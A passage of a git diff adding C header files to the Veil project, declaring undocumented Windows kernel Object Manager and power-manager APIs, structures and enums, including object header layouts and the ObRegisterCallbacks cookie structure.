PACCESS_STATE PassedAccessState, + _In_opt_ ACCESS_MASK DesiredAccess, + _In_ ULONG ObjectPointerBias, + _Out_opt_ PVOID* NewObject, + _Out_opt_ PHANDLE Handle +); + +NTKERNELAPI +NTSTATUS +NTAPI +ObOpenObjectByName( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_TYPE ObjectType, + _In_ KPROCESSOR_MODE AccessMode, + _Inout_opt_ PACCESS_STATE AccessState, + _In_opt_ ACCESS_MASK DesiredAccess, + _Inout_opt_ PVOID ParseContext, + _Out_ PHANDLE Handle +); + +NTKERNELAPI +NTSTATUS +ObOpenObjectByPointer( + _In_ PVOID Object, + _In_ ULONG HandleAttributes, + _In_opt_ PACCESS_STATE PassedAccessState, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_TYPE ObjectType, + _In_ KPROCESSOR_MODE AccessMode, + _Out_ PHANDLE Handle +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTKERNELAPI +NTSTATUS +ObOpenObjectByPointerWithTag( + _In_ PVOID Object, + _In_ ULONG HandleAttributes, + _In_opt_ PACCESS_STATE PassedAccessState, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_TYPE ObjectType, + _In_ KPROCESSOR_MODE AccessMode, + _In_ ULONG Tag, + _Out_ PHANDLE Handle +); +#endif + +NTKERNELAPI +VOID +ObMakeTemporaryObject( + _In_ PVOID Object +); + +NTSYSAPI +BOOLEAN +NTAPI +ObFindHandleForObject( + _In_ PEPROCESS Process, + _In_ PVOID Object, + _In_opt_ POBJECT_TYPE ObjectType, + _In_opt_ POBJECT_HANDLE_INFORMATION MatchCriteria, + _Out_ PHANDLE Handle +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) + +NTKERNELAPI +BOOLEAN +FASTCALL +ObReferenceObjectSafe( + _In_ PVOID Object +); + +NTKERNELAPI +BOOLEAN +FASTCALL +ObReferenceObjectSafeWithTag( + _In_ PVOID Object, + _In_ ULONG Tag +); + +#endif // NTDDI_VERSION >= NTDDI_WIN8 + +NTKERNELAPI +NTSTATUS +NTAPI +ObReferenceObjectByName( + _In_ PUNICODE_STRING ObjectName, + _In_ ULONG Attributes, + _In_opt_ PACCESS_STATE AccessState, + _In_opt_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_TYPE ObjectType, + _In_ KPROCESSOR_MODE AccessMode, + _Inout_opt_ PVOID ParseContext, + _Out_ PVOID* Object +); + +NTKERNELAPI +NTSTATUS +ObQueryNameString( + _In_ PVOID Object, + _Out_writes_bytes_opt_(Length) POBJECT_NAME_INFORMATION ObjectNameInfo, + _In_ ULONG Length, + _Out_ PULONG ReturnLength +); + +FORCEINLINE HANDLE ObMakeKernelHandle(HANDLE Handle) +{ +#ifdef _X86_ +#define KERNEL_HANDLE_BIT (0x80000000) +#else +#define KERNEL_HANDLE_BIT (0xffffffff80000000) +#endif + + return ((HANDLE)((ULONG_PTR)(Handle) | KERNEL_HANDLE_BIT)); +} + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTKERNELAPI +BOOLEAN +ObIsKernelHandle( + _In_ HANDLE Handle +); +#endif // NTDDI_VERSION >= NTDDI_VISTA + +// begin: Object Header +#include + +typedef struct _OBJECT_HEADER_CREATOR_INFO +{ + LIST_ENTRY TypeList; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Reserved1; +#ifdef _WIN64 + ULONG Reserved2; +#endif +} OBJECT_HEADER_CREATOR_INFO, * POBJECT_HEADER_CREATOR_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_CREATOR_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0010 : 0x0020)); + +typedef struct _OBJECT_HEADER_NAME_INFO +{ + struct _OBJECT_DIRECTORY* Directory; + UNICODE_STRING Name; + LONG ReferenceCount; +#ifdef _WIN64 + ULONG Reserved; +#endif +} OBJECT_HEADER_NAME_INFO, * POBJECT_HEADER_NAME_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_NAME_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0010 : 0x0020)); + +typedef struct _OBJECT_HANDLE_COUNT_ENTRY +{ + PEPROCESS Process; + struct + { + ULONG HandleCount : 24; + ULONG LockCount : 8; + }; +} OBJECT_HANDLE_COUNT_ENTRY, * POBJECT_HANDLE_COUNT_ENTRY; +C_ASSERT(sizeof(OBJECT_HANDLE_COUNT_ENTRY) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HANDLE_COUNT_DATABASE +{ + ULONG CountEntries; + OBJECT_HANDLE_COUNT_ENTRY HandleCountEntries[1]; + +} OBJECT_HANDLE_COUNT_DATABASE, * POBJECT_HANDLE_COUNT_DATABASE; +C_ASSERT(sizeof(OBJECT_HANDLE_COUNT_DATABASE) == (sizeof(void*) == sizeof(__int32) ? 0x000C : 0x0018)); + +typedef struct _OBJECT_HEADER_HANDLE_INFO +{ + union + { + POBJECT_HANDLE_COUNT_DATABASE HandleCountDataBase; + OBJECT_HANDLE_COUNT_ENTRY SingleEntry; + }; +} OBJECT_HEADER_HANDLE_INFO, * POBJECT_HEADER_HANDLE_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_HANDLE_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HEADER_QUOTA_INFO +{ + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; +#ifdef _WIN64 + ULONG Reserved1; + PVOID SecurityDescriptorQuotaBlock; + ULONG64 Reserved2; +#else + PVOID SecurityDescriptorQuotaBlock; +#endif +} OBJECT_HEADER_QUOTA_INFO, * POBJECT_HEADER_QUOTA_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_QUOTA_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0010 : 0x0020)); + +typedef struct _OBJECT_HEADER_PROCESS_INFO +{ + PEPROCESS ExclusiveProcess; + SIZE_T Reserved; + +} OBJECT_HEADER_PROCESS_INFO, * POBJECT_HEADER_PROCESS_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_PROCESS_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HEADER_AUDIT_INFO +{ + PVOID SecurityDescriptor; + SIZE_T Reserved; + +} OBJECT_HEADER_AUDIT_INFO, * POBJECT_HEADER_AUDIT_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_AUDIT_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HEADER_HANDLE_REVOCATION_INFO +{ + LIST_ENTRY ListEntry; + struct _OB_HANDLE_REVOCATION_BLOCK* RevocationBlock; + UINT8 Padding1[4]; +#ifdef _WIN64 + UINT8 Padding2[4]; +#endif +} OBJECT_HEADER_HANDLE_REVOCATION_INFO, * POBJECT_HEADER_HANDLE_REVOCATION_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_HANDLE_REVOCATION_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0010 : 0x0020)); + +typedef struct _OBJECT_HEADER_EXTENDED_INFO +{ + struct _OBJECT_FOOTER* Footer; + SIZE_T Reserved; + +} OBJECT_HEADER_EXTENDED_INFO, * POBJECT_HEADER_EXTENDED_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_EXTENDED_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0008 : 0x0010)); + +typedef struct _OBJECT_HEADER_PADDING_INFO +{ + ULONG PaddingAmount; + +} OBJECT_HEADER_PADDING_INFO, * POBJECT_HEADER_PADDING_INFO; +C_ASSERT(sizeof(OBJECT_HEADER_PADDING_INFO) == (sizeof(void*) == sizeof(__int32) ? 0x0004 : 0x0004)); + +typedef struct _OBJECT_CREATE_INFORMATION +{ + ULONG Attributes; + HANDLE RootDirectory; + KPROCESSOR_MODE ProbeMode; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; + PVOID SecurityDescriptor; + PSECURITY_QUALITY_OF_SERVICE SecurityQos; + SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; + +} OBJECT_CREATE_INFORMATION, * POBJECT_CREATE_INFORMATION; +C_ASSERT(sizeof(OBJECT_CREATE_INFORMATION) == (sizeof(void*) == sizeof(__int32) ? 0x002C : 0x0040)); + +typedef struct _OBJECT_HEADER +{ + LONG_PTR PointerCount; + union + { + LONG_PTR HandleCount; + PVOID NextToFree; + }; + EX_PUSH_LOCK Lock; + UINT8 TypeIndex; + union + { + UINT8 TraceFlags; + struct + { + UINT8 DbgRefTrace : 1; + UINT8 DbgTracePermanent : 1; + }; + }; + UINT8 InfoMask; + union + { + UINT8 Flags; + struct + { + UINT8 NewObject : 1; + UINT8 KernelObject : 1; + UINT8 KernelOnlyAccess : 1; + UINT8 ExclusiveObject : 1; + UINT8 PermanentObject : 1; + UINT8 DefaultSecurityQuota : 1; + UINT8 SingleHandleEntry : 1; + UINT8 DeletedInline : 1; + }; + }; + +#ifdef _WIN64 + ULONG Reserved; +#endif + + union + { + POBJECT_CREATE_INFORMATION ObjectCreateInfo; + PVOID QuotaBlockCharged; + }; + + PVOID SecurityDescriptor; + QUAD Body; + +} OBJECT_HEADER, * POBJECT_HEADER; +C_ASSERT(sizeof(OBJECT_HEADER) == (sizeof(void*) == sizeof(__int32) ? 0x0020 : 0x0038)); + +#include +// end: Object Header + +NTKERNELAPI +POBJECT_HEADER_NAME_INFO +NTAPI +ObQueryNameInfo( + _In_ PVOID Object +); + +NTKERNELAPI +POBJECT_TYPE +NTAPI +ObGetObjectType( + _In_ PVOID Object +); + +NTKERNELAPI +NTSTATUS +NTAPI +ObDuplicateObject( + _In_ PEPROCESS SourceProcess, + _In_ HANDLE SourceHandle, + _In_opt_ PEPROCESS TargetProcess, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options, + _In_ KPROCESSOR_MODE PreviousMode +); + +NTKERNELAPI +NTSTATUS +NTAPI +ObSetHandleAttributes( + _In_ HANDLE Handle, + _In_ POBJECT_HANDLE_FLAG_INFORMATION HandleFlags, + _In_ KPROCESSOR_MODE PreviousMode +); + +// begin: ObRegisterCallbacks() cookie struct +#include + +// private +// +// ObRegisterCallbacks() cookie's memory layout +// +// +-------------------------------------------+ +// | OB_CALLBACK_OBJECT_HEADER | +// +-------------------------------------------+ +// | OB_CALLBACK_OBJECT_BODY[Header.BodyCount] | +// +-------------------------------------------+ +// | WCHAR AltitudeBuffer[Altitude.Length] | +// +-------------------------------------------+ +// + +typedef struct _OB_CALLBACK_OBJECT_BODY +{ + // all OB_CALLBACK_BODY + // Header -> OBJECT_TYPE.CallbackList + LIST_ENTRY ListEntry; + + OB_OPERATION Operations; + ULONG Always_1; + + // Self + struct _OB_CALLBACK_OBJECT_HEADER* CallbackObject; + + POBJECT_TYPE ObjectType; + POB_PRE_OPERATION_CALLBACK PreOperation; + POB_POST_OPERATION_CALLBACK PostOperation; + + ULONG Reserved; + +}OB_CALLBACK_OBJECT_BODY, *POB_CALLBACK_OBJECT_BODY; + +typedef struct _OB_CALLBACK_OBJECT_HEADER +{ + USHORT Version; // ObGetFilterVersion() + USHORT BodyCount; + PVOID RegistrationContext; + UNICODE_STRING Altitude; + + OB_CALLBACK_OBJECT_BODY Body[ANYSIZE_ARRAY]; + +}OB_CALLBACK_OBJECT_HEADER, *POB_CALLBACK_OBJECT_HEADER; + +#include +// end: ObRegisterCallbacks() cookie struct + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.PowerManager.h b/include/Veil/Veil/Veil.System.PowerManager.h new file mode 100644 index 0000000..e2fd84e --- /dev/null +++ b/include/Veil/Veil/Veil.System.PowerManager.h @@ -0,0 +1,605 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +typedef struct _PROCESSOR_POWER_INFORMATION +{ + ULONG Number; + ULONG MaxMhz; + ULONG CurrentMhz; + ULONG MhzLimit; + ULONG MaxIdleState; + ULONG CurrentIdleState; +} PROCESSOR_POWER_INFORMATION, * PPROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_POWER_INFORMATION +{ + ULONG MaxIdlenessAllowed; + ULONG Idleness; + ULONG TimeRemaining; + UCHAR CoolingMode; +} SYSTEM_POWER_INFORMATION, * PSYSTEM_POWER_INFORMATION; + +typedef struct _SYSTEM_HIBERFILE_INFORMATION +{ + ULONG NumberOfMcbPairs; + LARGE_INTEGER Mcb[1]; +} SYSTEM_HIBERFILE_INFORMATION, * PSYSTEM_HIBERFILE_INFORMATION; + +#define POWER_REQUEST_CONTEXT_NOT_SPECIFIED DIAGNOSTIC_REASON_NOT_SPECIFIED + +// enum _POWER_REQUEST_TYPE +#define PowerRequestDisplayRequired ((_POWER_REQUEST_TYPE)0) +#define PowerRequestSystemRequired ((_POWER_REQUEST_TYPE)1) +#define PowerRequestAwayModeRequired ((_POWER_REQUEST_TYPE)2) +#define PowerRequestExecutionRequired ((_POWER_REQUEST_TYPE)3) +#define PowerRequestPerfBoostRequired ((_POWER_REQUEST_TYPE)4) +#define PowerRequestActiveLockScreen ((_POWER_REQUEST_TYPE)5) +#define PowerRequestInvalid ((_POWER_REQUEST_TYPE)6) +#define PowerRequestUnknown ((_POWER_REQUEST_TYPE)7) +#define PowerRequestFullScreenVideoRequired ((_POWER_REQUEST_TYPE)8) + +#ifndef _KERNEL_MODE +typedef struct _POWER_REQUEST_ACTION +{ + HANDLE PowerRequestHandle; + POWER_REQUEST_TYPE RequestType; + BOOLEAN SetAction; + HANDLE ProcessHandle; // Windows 8+ and only for requests created via PlmPowerRequestCreate +} POWER_REQUEST_ACTION, * PPOWER_REQUEST_ACTION; + +typedef union _POWER_STATE +{ + SYSTEM_POWER_STATE SystemState; + DEVICE_POWER_STATE DeviceState; +} POWER_STATE, * PPOWER_STATE; + +typedef enum _POWER_STATE_TYPE +{ + SystemPowerState = 0, + DevicePowerState +} POWER_STATE_TYPE, * PPOWER_STATE_TYPE; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +typedef struct _SYSTEM_POWER_STATE_CONTEXT +{ + union + { + struct + { + ULONG Reserved1 : 8; + ULONG TargetSystemState : 4; + ULONG EffectiveSystemState : 4; + ULONG CurrentSystemState : 4; + ULONG IgnoreHibernationPath : 1; + ULONG PseudoTransition : 1; + ULONG KernelSoftReboot : 1; + ULONG DirectedDripsTransition : 1; + ULONG Reserved2 : 8; + }; + + ULONG ContextAsUlong; + }; +} SYSTEM_POWER_STATE_CONTEXT, * PSYSTEM_POWER_STATE_CONTEXT; +#endif // (NTDDI_VERSION >= NTDDI_VISTA) + +#if (NTDDI_VERSION >= NTDDI_WIN7) +typedef struct _COUNTED_REASON_CONTEXT +{ + ULONG Version; + ULONG Flags; + union + { + struct + { + UNICODE_STRING ResourceFileName; + USHORT ResourceReasonId; + ULONG StringCount; + _Field_size_(StringCount) PUNICODE_STRING ReasonStrings; + }; + + UNICODE_STRING SimpleString; + }; +} COUNTED_REASON_CONTEXT, * PCOUNTED_REASON_CONTEXT; +#endif // (NTDDI_VERSION >= NTDDI_WIN7) +#endif // !_KERNEL_MODE + +typedef enum _REQUESTER_TYPE +{ + KernelRequester = 0, + UserProcessRequester = 1, + UserSharedServiceRequester = 2 +} REQUESTER_TYPE; + +typedef struct _COUNTED_REASON_CONTEXT_RELATIVE +{ + ULONG Flags; + union + { + struct + { + ULONG_PTR ResourceFileNameOffset; + USHORT ResourceReasonId; + ULONG StringCount; + ULONG_PTR SubstitutionStringsOffset; + }; + ULONG_PTR SimpleStringOffset; + }; +} COUNTED_REASON_CONTEXT_RELATIVE, * PCOUNTED_REASON_CONTEXT_RELATIVE; + +typedef struct _DIAGNOSTIC_BUFFER +{ + SIZE_T Size; + REQUESTER_TYPE CallerType; + union + { + struct + { + ULONG_PTR ProcessImageNameOffset; // PWSTR + ULONG ProcessId; + ULONG ServiceTag; + }; + struct + { + ULONG_PTR DeviceDescriptionOffset; // PWSTR + ULONG_PTR DevicePathOffset; // PWSTR + }; + }; + ULONG_PTR ReasonOffset; // PCOUNTED_REASON_CONTEXT_RELATIVE +} DIAGNOSTIC_BUFFER, * PDIAGNOSTIC_BUFFER; + +// The number of supported request types per version +#define POWER_REQUEST_SUPPORTED_TYPES_V1 3 // Windows 7 +#define POWER_REQUEST_SUPPORTED_TYPES_V2 9 // Windows 8 +#define POWER_REQUEST_SUPPORTED_TYPES_V3 5 // Windows 8.1 and Windows 10 TH1-TH2 +#define POWER_REQUEST_SUPPORTED_TYPES_V4 6 // Windows 10 RS1+ + +typedef struct _POWER_REQUEST +{ + union + { + struct + { + ULONG SupportedRequestMask; + ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V1]; + DIAGNOSTIC_BUFFER DiagnosticBuffer; + } V1; +#if (NTDDI_VERSION >= NTDDI_WIN8) + struct + { + ULONG SupportedRequestMask; + ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V2]; + DIAGNOSTIC_BUFFER DiagnosticBuffer; + } V2; +#endif +#if (NTDDI_VERSION >= NTDDI_WINBLUE) + struct + { + ULONG SupportedRequestMask; + ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V3]; + DIAGNOSTIC_BUFFER DiagnosticBuffer; + } V3; +#endif +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) + struct + { + ULONG SupportedRequestMask; + ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V4]; + DIAGNOSTIC_BUFFER DiagnosticBuffer; + } V4; +#endif + }; +} POWER_REQUEST, * PPOWER_REQUEST; + +typedef struct _POWER_REQUEST_LIST +{ + ULONG_PTR Count; + ULONG_PTR PowerRequestOffsets[ANYSIZE_ARRAY]; // PPOWER_REQUEST +} POWER_REQUEST_LIST, * PPOWER_REQUEST_LIST; + +typedef enum _POWER_STATE_HANDLER_TYPE +{ + PowerStateSleeping1 = 0, + PowerStateSleeping2 = 1, + PowerStateSleeping3 = 2, + PowerStateSleeping4 = 3, + PowerStateShutdownOff = 4, + PowerStateShutdownReset = 5, + PowerStateSleeping4Firmware = 6, + PowerStateMaximum = 7 +} POWER_STATE_HANDLER_TYPE, * PPOWER_STATE_HANDLER_TYPE; + +typedef NTSTATUS(NTAPI* PENTER_STATE_SYSTEM_HANDLER)( + _In_ PVOID SystemContext + ); + +typedef NTSTATUS(NTAPI* PENTER_STATE_HANDLER)( + _In_ PVOID Context, + _In_opt_ PENTER_STATE_SYSTEM_HANDLER SystemHandler, + _In_ PVOID SystemContext, + _In_ LONG NumberProcessors, + _In_ LONG volatile* Number + ); + +typedef struct _POWER_STATE_HANDLER +{ + POWER_STATE_HANDLER_TYPE Type; + BOOLEAN RtcWake; + UCHAR Spare[3]; + PENTER_STATE_HANDLER Handler; + PVOID Context; +} POWER_STATE_HANDLER, * PPOWER_STATE_HANDLER; + +typedef NTSTATUS(NTAPI* PENTER_STATE_NOTIFY_HANDLER)( + _In_ POWER_STATE_HANDLER_TYPE State, + _In_ PVOID Context, + _In_ BOOLEAN Entering + ); + +typedef struct _POWER_STATE_NOTIFY_HANDLER +{ + PENTER_STATE_NOTIFY_HANDLER Handler; + PVOID Context; +} POWER_STATE_NOTIFY_HANDLER, * PPOWER_STATE_NOTIFY_HANDLER; + +typedef struct _POWER_REQUEST_ACTION_INTERNAL +{ + PVOID PowerRequestPointer; + POWER_REQUEST_TYPE RequestType; + BOOLEAN SetAction; +} POWER_REQUEST_ACTION_INTERNAL, * PPOWER_REQUEST_ACTION_INTERNAL; + +typedef enum _POWER_INFORMATION_LEVEL_INTERNAL +{ + PowerInternalAcpiInterfaceRegister, + PowerInternalS0LowPowerIdleInfo, // POWER_S0_LOW_POWER_IDLE_INFO + PowerInternalReapplyBrightnessSettings, + PowerInternalUserAbsencePrediction, // POWER_USER_ABSENCE_PREDICTION + PowerInternalUserAbsencePredictionCapability, // POWER_USER_ABSENCE_PREDICTION_CAPABILITY + PowerInternalPoProcessorLatencyHint, // POWER_PROCESSOR_LATENCY_HINT + PowerInternalStandbyNetworkRequest, // POWER_STANDBY_NETWORK_REQUEST + PowerInternalDirtyTransitionInformation, + PowerInternalSetBackgroundTaskState, // POWER_SET_BACKGROUND_TASK_STATE + PowerInternalTtmOpenTerminal, + PowerInternalTtmCreateTerminal, // 10 + PowerInternalTtmEvacuateDevices, + PowerInternalTtmCreateTerminalEventQueue, + PowerInternalTtmGetTerminalEvent, + PowerInternalTtmSetDefaultDeviceAssignment, + PowerInternalTtmAssignDevice, + PowerInternalTtmSetDisplayState, + PowerInternalTtmSetDisplayTimeouts, + PowerInternalBootSessionStandbyActivationInformation, + PowerInternalSessionPowerState, + PowerInternalSessionTerminalInput, // 20 + PowerInternalSetWatchdog, + PowerInternalPhysicalPowerButtonPressInfoAtBoot, + PowerInternalExternalMonitorConnected, + PowerInternalHighPrecisionBrightnessSettings, + PowerInternalWinrtScreenToggle, + PowerInternalPpmQosDisable, + PowerInternalTransitionCheckpoint, + PowerInternalInputControllerState, + PowerInternalFirmwareResetReason, + PowerInternalPpmSchedulerQosSupport, // 30 + PowerInternalBootStatGet, + PowerInternalBootStatSet, + PowerInternalCallHasNotReturnedWatchdog, + PowerInternalBootStatCheckIntegrity, + PowerInternalBootStatRestoreDefaults, // in: void + PowerInternalHostEsStateUpdate, + PowerInternalGetPowerActionState, + PowerInternalBootStatUnlock, + PowerInternalWakeOnVoiceState, + PowerInternalDeepSleepBlock, // 40 + PowerInternalIsPoFxDevice, + PowerInternalPowerTransitionExtensionAtBoot, + PowerInternalProcessorBrandedFrequency, // in: POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT, out: POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT + PowerInternalTimeBrokerExpirationReason, + PowerInternalNotifyUserShutdownStatus, + PowerInternalPowerRequestTerminalCoreWindow, + PowerInternalProcessorIdleVeto, + PowerInternalPlatformIdleVeto, + PowerInternalIsLongPowerButtonBugcheckEnabled, + PowerInternalAutoChkCausedReboot, // 50 + PowerInternalSetWakeAlarmOverride, + + PowerInternalDirectedFxAddTestDevice = 53, + PowerInternalDirectedFxRemoveTestDevice, + + PowerInternalDirectedFxSetMode = 56, + PowerInternalRegisterPowerPlane, + PowerInternalSetDirectedDripsFlags, + PowerInternalClearDirectedDripsFlags, + PowerInternalRetrieveHiberFileResumeContext, // 60 + PowerInternalReadHiberFilePage, + PowerInternalLastBootSucceeded, // out: BOOLEAN + PowerInternalQuerySleepStudyHelperRoutineBlock, + PowerInternalDirectedDripsQueryCapabilities, + PowerInternalClearConstraints, + PowerInternalSoftParkVelocityEnabled, + PowerInternalQueryIntelPepCapabilities, + PowerInternalGetSystemIdleLoopEnablement, // since WIN11 + PowerInternalGetVmPerfControlSupport, + PowerInternalGetVmPerfControlConfig, // 70 + PowerInternalSleepDetailedDiagUpdate, + PowerInternalProcessorClassFrequencyBandsStats, + PowerInternalHostGlobalUserPresenceStateUpdate, + PowerInternalCpuNodeIdleIntervalStats, + PowerInternalClassIdleIntervalStats, + PowerInternalCpuNodeConcurrencyStats, + PowerInternalClassConcurrencyStats, + PowerInternalQueryProcMeasurementCapabilities, + PowerInternalQueryProcMeasurementValues, + PowerInternalPrepareForSystemInitiatedReboot, // 80 + PowerInternalGetAdaptiveSessionState, + PowerInternalSetConsoleLockedState, + PowerInternalOverrideSystemInitiatedRebootState, + PowerInternalFanImpactStats, + PowerInternalFanRpmBuckets, + PowerInternalPowerBootAppDiagInfo, + PowerInternalUnregisterShutdownNotification, // since 22H1 + PowerInternalManageTransitionStateRecord, + PowerInformationInternalMaximum +} POWER_INFORMATION_LEVEL_INTERNAL; + +typedef enum _POWER_S0_DISCONNECTED_REASON +{ + PoS0DisconnectedReasonNone, + PoS0DisconnectedReasonNonCompliantNic, + PoS0DisconnectedReasonSettingPolicy, + PoS0DisconnectedReasonEnforceDsPolicy, + PoS0DisconnectedReasonCsChecksFailed, + PoS0DisconnectedReasonSmartStandby, + PoS0DisconnectedReasonMaximum +} POWER_S0_DISCONNECTED_REASON; + +typedef struct _POWER_S0_LOW_POWER_IDLE_INFO +{ + POWER_S0_DISCONNECTED_REASON DisconnectedReason; + union + { + BOOLEAN Storage : 1; + BOOLEAN WiFi : 1; + BOOLEAN Mbn : 1; + BOOLEAN Ethernet : 1; + BOOLEAN Reserved : 4; + UCHAR AsUCHAR; + } CsDeviceCompliance; + union + { + BOOLEAN DisconnectInStandby : 1; + BOOLEAN EnforceDs : 1; + BOOLEAN Reserved : 6; + UCHAR AsUCHAR; + } Policy; +} POWER_S0_LOW_POWER_IDLE_INFO, * PPOWER_S0_LOW_POWER_IDLE_INFO; + +typedef struct _POWER_INFORMATION_INTERNAL_HEADER +{ + POWER_INFORMATION_LEVEL_INTERNAL InternalType; + ULONG Version; +} POWER_INFORMATION_INTERNAL_HEADER, * PPOWER_INFORMATION_INTERNAL_HEADER; + +typedef struct _POWER_USER_ABSENCE_PREDICTION +{ + POWER_INFORMATION_INTERNAL_HEADER Header; + LARGE_INTEGER ReturnTime; +} POWER_USER_ABSENCE_PREDICTION, * PPOWER_USER_ABSENCE_PREDICTION; + +typedef struct _POWER_USER_ABSENCE_PREDICTION_CAPABILITY +{ + BOOLEAN AbsencePredictionCapability; +} POWER_USER_ABSENCE_PREDICTION_CAPABILITY, * PPOWER_USER_ABSENCE_PREDICTION_CAPABILITY; + +typedef struct _POWER_PROCESSOR_LATENCY_HINT +{ + POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader; + ULONG Type; +} POWER_PROCESSOR_LATENCY_HINT, * PPO_PROCESSOR_LATENCY_HINT; + +typedef struct _POWER_STANDBY_NETWORK_REQUEST +{ + POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader; + BOOLEAN Active; +} POWER_STANDBY_NETWORK_REQUEST, * PPOWER_STANDBY_NETWORK_REQUEST; + +typedef struct _POWER_SET_BACKGROUND_TASK_STATE +{ + POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader; + BOOLEAN Engaged; +} POWER_SET_BACKGROUND_TASK_STATE, * PPOWER_SET_BACKGROUND_TASK_STATE; + +typedef struct POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT +{ + POWER_INFORMATION_LEVEL_INTERNAL InternalType; + PROCESSOR_NUMBER ProcessorNumber; // ULONG_MAX +} POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT, * PPOWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT; + +typedef struct POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT +{ + ULONG Version; + ULONG NominalFrequency; // if (Domain) Prcb->PowerState.CheckContext.Domain.NominalFrequency else Prcb->MHz +} POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT, * PPOWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT; + +_IRQL_requires_max_(APC_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPowerInformation( + _In_ POWER_INFORMATION_LEVEL InformationLevel, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPowerInformation( + _In_ POWER_INFORMATION_LEVEL InformationLevel, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetThreadExecutionState( + _In_ EXECUTION_STATE NewFlags, // ES_* flags + _Out_ EXECUTION_STATE* PreviousFlags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetThreadExecutionState( + _In_ EXECUTION_STATE NewFlags, // ES_* flags + _Out_ EXECUTION_STATE* PreviousFlags +); + +#if (NTDDI_VERSION < NTDDI_WIN7) +__kernel_entry 